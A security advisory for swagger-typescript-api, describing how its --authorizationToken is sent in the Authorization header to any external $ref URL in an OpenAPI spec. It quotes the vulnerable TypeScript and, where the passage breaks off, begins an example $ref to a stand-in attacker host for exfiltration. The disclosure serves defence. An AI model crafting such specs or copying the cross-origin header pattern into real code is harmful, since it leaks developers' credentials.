GHSA-h754-fxp7-88wx: swagger-typescript-api vulnerable to authorization-token exfiltration via spec `$ref`

Summary When the developer supplies an --authorizationToken (commonly required to fetch a private spec behind authentication), swagger-typescript-api attaches that token to the Authorization header of every subsequent HTTP request it makes while resolving external $ref URLs in the spec — with no same-origin check, no host allowlist, and no scope-down for cross-origin requests. A malicious OpenAPI spec containing a $ref to an attacker-controlled URL therefore causes the developer's bearer token to be sent verbatim to that URL during code generation. The threat model is identical to the SSRF advisory filed alongside this one (companion finding), but with credential disclosure as the primary impact. The token is typically a high-value secret: a GitHub PAT, an OAuth bearer for the API the spec describes, an enterprise SSO token, an AWS-style API key, or similar. Disclosure to an attacker-controlled URL is one curl-equivalent away from full takeover of whatever scope the token grants. Details The header-builder lives in src/resolved-swagger-schema.ts:81-92: private getRemoteRequestHeaders(): Record<string, string> { return Object.assign( {}, this.config.authorizationToken ? { Authorization: this.config.authorizationToken, } : {}, (this.config.requestOptions?.headers as | Record<string, string> | undefined) || {}, ); } There is no check that the request's destination URL shares an origin (or scheme, or host, or even top-level domain) with this.config.url — the URL the user originally specified. The headers object is unconditional. getRemoteRequestHeaders is called by fetchRemoteSchemaDocument (src/resolved-swagger-schema.ts:374): const response = await fetch(url, { headers: this.getRemoteRequestHeaders(), }); …which is in turn called by warmUpRemoteSchemasCache (src/resolved-swagger-schema.ts:399-445) for every external $ref URL discovered while walking the spec. Net effect: a spec whose response schema is { "$ref": "http://attacker.example/exfil-endpoint/data.